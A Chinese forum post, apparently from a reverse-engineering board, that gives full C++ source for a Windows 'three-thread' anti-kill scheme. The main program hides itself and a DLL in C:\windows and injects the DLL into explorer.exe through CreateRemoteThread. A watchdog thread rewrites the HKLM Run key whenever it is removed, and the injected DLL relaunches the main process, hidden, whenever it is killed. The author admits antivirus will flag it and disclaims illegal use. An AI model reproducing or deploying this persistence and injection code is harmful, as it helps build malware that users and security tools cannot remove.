[前言]
无意中在网上看到了一个帖子关于三线程的问题,我觉得其思路十分巧妙,加之我学HOOK技术也有一段时间了,于是就想看看到底是怎么实现的,那帖子说的不十分清楚,说有源码的,在网上搜确实有源码存在,但是下载都要先注册,然后还有什么下载豆啊,什么的,反正就是不让你下.注册了几个号,都下载不了.在看雪上面搜了一下,倒是有一篇文章是关于三线程的,不过时Dephi写的,我没学Dephi,也就没有看他的文章.
文章地址:http://bbs.pediy.com/showthread.php?t=42594&highlight=%E4%B8%89%E7%BA%BF+%E7%BA%BF%E7%A8%8B+%E7%A8%8B
想着自己编程也这么久了,索性自己来写,于是就写了这篇文章出来,算是整理一下这些天的思路了吧!
[原作者思路思路很巧妙,我很佩服]
我们有一个主进程Main.exe 和一个DLL文件 KernelSoft.DLL, Main.exe启动的时候,会查看C:\\windows\\下面有没有我们的2个文件,如果没有就复制当前文件夹的文件过去,并设置为系统文件并隐藏,我们会查找我们注入的进程中有没有KernelSoft.dll,如果没有,那么表示我是第一次启动Main.exe, 我们注入KernelSoft..然后会创建一个线程Watch 监视注册表和远程线程..
Kernelsoft.dll 只做一件事,就是创建1个线程监视我们的Main.exe是否还存在于进程中,如果不存在,那么就启动Main.exe,实现防杀的功能,我们把DLL注入到Explorer.exe中,当然你也可以注入到几个进程中,或者注入到别的进程中,我这里只是演示, 文章中有些地方是直接硬编码的,方便一些,当然这些地方你都可以很容易的看到,并且修改,以便兼容你的电脑.
Watch线程监视我们的开机启动项,如果该项被删除掉,它会立即重新写入注册表.并且如果你发现我们的Main.exe注入到explorer.exe后,你试图关闭explorer.exe, 那我会告诉你,关闭后,当explorer.exe再次出现的时候,我们的程序还是会注入到explorer.exe中的.
下面给源码吧:
我的注释还算比较详细的,尽量让大家都很容易的明白我在做什么.
先给3个函数:
在SourseHead.h中定义的
#include <Tlhelp32.h> //提权 bool EnablePrivilege(char*PrivilegeName,BOOL IsEnable) { HANDLE hToken; TOKEN_PRIVILEGES tp; LUID luid; if(!OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY | TOKEN_READ,&hToken)) { return false; } if(!LookupPrivilegeValue(NULL, PrivilegeName, &luid)) { return false; } tp.PrivilegeCount = 1; tp.Privileges[0].Luid = luid; tp.Privileges[0].Attributes = (IsEnable) ? SE_PRIVILEGE_ENABLED : 0; BOOL bSucc = AdjustTokenPrivileges(hToken,FALSE,&tp,NULL,NULL,NULL); CloseHandle(hToken); return (GetLastError() == ERROR_SUCCESS); } //获取PID值 BOOL GetProcessIdByName(LPSTR szProcessName,LPDWORD lpPID)//PID是我们要传出去的指针变量 { //变量及初始化 STARTUPINFO st; PROCESS_INFORMATION pi; PROCESSENTRY32 ps; HANDLE hSnapshot; ZeroMemory(&st,sizeof(STARTUPINFO)); ZeroMemory(&pi,sizeof(PROCESS_INFORMATION)); st.cb = sizeof(STARTUPINFO); ZeroMemory(&ps,sizeof(PROCESSENTRY32)); ps.dwSize = sizeof(PROCESSENTRY32); //遍历进程 hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0); if (hSnapshot == INVALID_HANDLE_VALUE) { return FALSE; } if (!Process32First(hSnapshot,&ps)) { return FALSE; } do { //比较进程名 if (lstrcmpi(ps.szExeFile,szProcessName) == 0) { //找到了 *lpPID = ps.th32ProcessID; CloseHandle(hSnapshot); return TRUE; } } while (Process32Next(hSnapshot,&ps)); //没有找到 CloseHandle(hSnapshot); return FALSE; } //注入函数 //pid 我们的目标PID //szMyDll 我们需要注入的DLL HANDLE InjeckDll(DWORD pid,CString szMyDll) { EnablePrivilege(SE_DEBUG_NAME,true); HANDLE hand = OpenProcess(PROCESS_ALL_ACCESS,false,pid); LPVOID Address = NULL; PSTR pszLibFileRemote =(PSTR)VirtualAllocEx(hand,NULL,szMyDll.GetLength()+1,MEM_COMMIT,PAGE_READWRITE); ::WriteProcessMemory(hand,pszLibFileRemote,szMyDll.GetBuffer(0),szMyDll.GetLength()+1,NULL); HMODULE hmod = ::GetModuleHandle("Kernel32"); szMyDll.ReleaseBuffer(); PTHREAD_START_ROUTINE point = (PTHREAD_START_ROUTINE)::GetProcAddress(hmod,"LoadLibraryA"); //创建远程线程执行LoadLibraryA 注入我们自己的DLL文件 HANDLE handr = CreateRemoteThread(hand,NULL,0,point,(LPVOID)pszLibFileRemote,0,NULL); WaitForSingleObject(handr,INFINITE); EnablePrivilege(SE_DEBUG_NAME,false);//还原权限 return handr; }
Email:181809575@qq.com
Peidy_liuqiangni
中间插点版权小广告好像是NBW 首创的,小弟只是算沿用了一下,呵呵
我定义了几个宏 后面会用到,大家先看看
//宏定义 部分字符串
#define DesName "explorer.exe"
#define DesMainName "C:\\windows\\Main.exe"
#define DesDllName "C:\\windows\\KernelSoft.dll"
/////////////////////////////////////////////////
下面给出 Watch线程
BOOL Watch(LPVOID pvparam)//这个参数没有什么用,是我刚开始的时候加的,就没有删掉 { HANDLE wethread=(HANDLE)pvparam; HKEY hkey; TCHAR wtname[MAX_PATH] = "C:\\windows\\Main.exe";//这个是写入注册表的路径 TCHAR lpdata[MAX_PATH]; LPCTSTR rgspath=_T("Software\\Microsoft\\Windows\\CurrentVersion\\Run"); DWORD type=REG_SZ; DWORD dwbuflen=MAX_PATH; int ret; while(1) { ret=RegOpenKeyEx(HKEY_LOCAL_MACHINE,rgspath,0,KEY_QUERY_VALUE,&hkey);//打开注册表 if(ret!=ERROR_SUCCESS) { OutputDebugString(_T("RegOpenKeyEx for KEY_QUERY_VALUE Error\n"));//调试信息不用管 break; } ret=RegQueryValueEx(hkey,"Main.exe",NULL,NULL,(LPBYTE)lpdata,&dwbuflen);//查找有没有Main.exe RegCloseKey(hkey); if(ret!=ERROR_SUCCESS) { ret=RegOpenKeyEx(HKEY_LOCAL_MACHINE,rgspath,0,KEY_WRITE,&hkey); if(ret!=ERROR_SUCCESS) { OutputDebugString(_T("RegOpenKeyEx for KEY_WRITE Error\n")); break; } //如果没有就重新写入我们的Main.exe ret=RegSetValueEx(hkey,"Main.exe",NULL,type,(const byte *)wtname,dwbuflen); RegCloseKey(hkey); if(ret!=ERROR_SUCCESS) { OutputDebugString(_T("RegSetValueEx Error\n")); break; } } //下面的代码表示如果explorer.exe中没有我们的模块,我们重新注入 DWORD pid =0; GetProcessIdByName("explorer.exe",&pid);//我们选择注入Explorer.exe HANDLE DesProcess = OpenProcess(PROCESS_ALL_ACCESS,false,pid); if (!EnumMoudle(DesProcess,"KernelSoft.dll"))//自定义函数,查找模块 { InjeckDll(pid,DesDllName);//自定义函数,注入 } Sleep(1000); } return 0; }
//在Windows下寻找我自己的模块,找不到就复制我自己的模块过去 /* LookFileName[] Windows下的模块C:\\windows\\Main.exe name[] 将要复制到C盘的模块的地址,就是当前文件夹的路径 */ void SetFile(char LookFileName[],char name[]) { BOOL sign = FALSE; //是否找到我需要的文件 CFileFind ff; BOOL work = ff.FindFile("C:\\windows\\");//查找的文件路径,我是硬编码的 while(work) { work = ff.FindNextFile(); CString filepath = ff.GetFilePath();//得到文件的完整路径 CString MainName; MainName.Format("%s",LookFileName); if (filepath == MainName) { sign = TRUE; break; } } ff.Close(); if (!sign)//如果没找到,那么复制我自己的文件过去 { CopyFile(name,LookFileName,FALSE);//把文件复制到C:\\windows下 //设置文件属性 SetFileAttributes(LookFileName,FILE_ATTRIBUTE_HIDDEN | FILE_ATTRIBUTE_SYSTEM | FILE_ATTRIBUTE_READONLY); } }
U盘偷窥者的地址: http://bbs.pediy.com/showthread.php?t=127663
下面给出遍历模块的函数:
这次我没有用CreateToolhelp32Snapshot,因为那个用过很多次了,要有新的尝试才会进步嘛
所以我用了两个我不是很熟习的函数EnumProcessModules和GetModuleBaseName
大家不懂的可以上Google 或Msdn上面查查.
注意:这几个函数要#pragma comment(lib,"Psapi.lib") 还要有头文件
#include <Psapi.h>
//遍历模块 BOOL EnumMoudle(HANDLE DesProcess,char MoudleName[]) { HMODULE hmod[MAX_PATH]; DWORD dwMod; char BaseName[MAX_PATH]; EnumProcessModules(DesProcess,hmod,sizeof(hmod),&dwMod); for (int i = 0;hmod[i]!=0;i++) { GetModuleBaseName(DesProcess,hmod[i],BaseName,MAX_PATH); if(stricmp(MoudleName,BaseName)==0) return TRUE; } return FALSE; }
void InitiaMain() //相当于初始化工作,我们后面的函数都是在这里面调用的 { HANDLE g_Hthread; DWORD idthread; DWORD pid =0; char MainPath[MAX_PATH]; char DLLPath[MAX_PATH]; //复制我们的2个文件到C:\\windows\\下面 GetModuleFileName(NULL,MainPath,MAX_PATH); SetFile(DesMainName,MainPath); GetCurrentDirectory(MAX_PATH,DLLPath); strcat(DLLPath,"\\KernelSoft.dll"); SetFile(DesDllName,DLLPath); GetProcessIdByName("explorer.exe",&pid);//我们选择注入Explorer.exe HANDLE DesProcess = OpenProcess(PROCESS_ALL_ACCESS,false,pid); if (!EnumMoudle(DesProcess,"KernelSoft.dll")) {//如果我们的模块不存在目标进程中,那么重新注入 g_Hthread=InjeckDll(pid,DesDllName); } //创建监视线程Watch HANDLE wehand = CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)Watch,(LPVOID)g_Hthread,0,&idthread); }
//KernelSoft.cpp
//这里注释得还算清楚
#include "stdafx.h" #include <Tlhelp32.h> //*********************** //全局数据区 HMODULE g_hmod = NULL; DWORD g_idthread; //*********************** //函数区 void WatchMainProcess(); BOOL FindMainProcess(LPSTR szProcessName); //*********************** //我们的主函数 BOOL APIENTRY DllMain( HMODULE hMod, DWORD ul_reason_for_call, LPVOID lpReserved ) { if( DLL_PROCESS_ATTACH == ul_reason_for_call ) { g_hmod = hMod; HANDLE hand = CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)WatchMainProcess,(LPVOID)NULL,0,&g_idthread); } else if( DLL_PROCESS_DETACH == ul_reason_for_call ) { } return TRUE; } void WatchMainProcess() { while (1) { if (!FindMainProcess("Main.exe"))//我们的主线程是Main.exe { WinExec("C:\\Windows\\Main.exe",SW_HIDE); } Sleep(500); } } BOOL FindMainProcess(LPSTR szProcessName) { //变量及初始化 STARTUPINFO st; PROCESS_INFORMATION pi; PROCESSENTRY32 ps; HANDLE hSnapshot; ZeroMemory(&st,sizeof(STARTUPINFO)); ZeroMemory(&pi,sizeof(PROCESS_INFORMATION)); st.cb = sizeof(STARTUPINFO); ZeroMemory(&ps,sizeof(PROCESSENTRY32)); ps.dwSize = sizeof(PROCESSENTRY32); //遍历进程 hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0); if (hSnapshot == INVALID_HANDLE_VALUE) { return FALSE; } if (!Process32First(hSnapshot,&ps)) { return FALSE; } do { //比较进程名 if (lstrcmpi(ps.szExeFile,szProcessName) == 0) //查找我们的进程,如果没有就启动主进程 { //找到了 CloseHandle(hSnapshot); return TRUE; } } while (Process32Next(hSnapshot,&ps)); //没有找到 CloseHandle(hSnapshot); return FALSE; }
因为本代码有病毒或者木马的一些特征,杀毒软件肯定会报毒.本软件没有实质性的功能,只是作为一种思路的交流.
声明: 本代码仅作为技术交流,请勿用于非法用途,因为本代码造成的任何后果,作者不承担任何责任,如果你不同意,请不要使用本代码,谢谢.
附件在后面,也有详细的注释...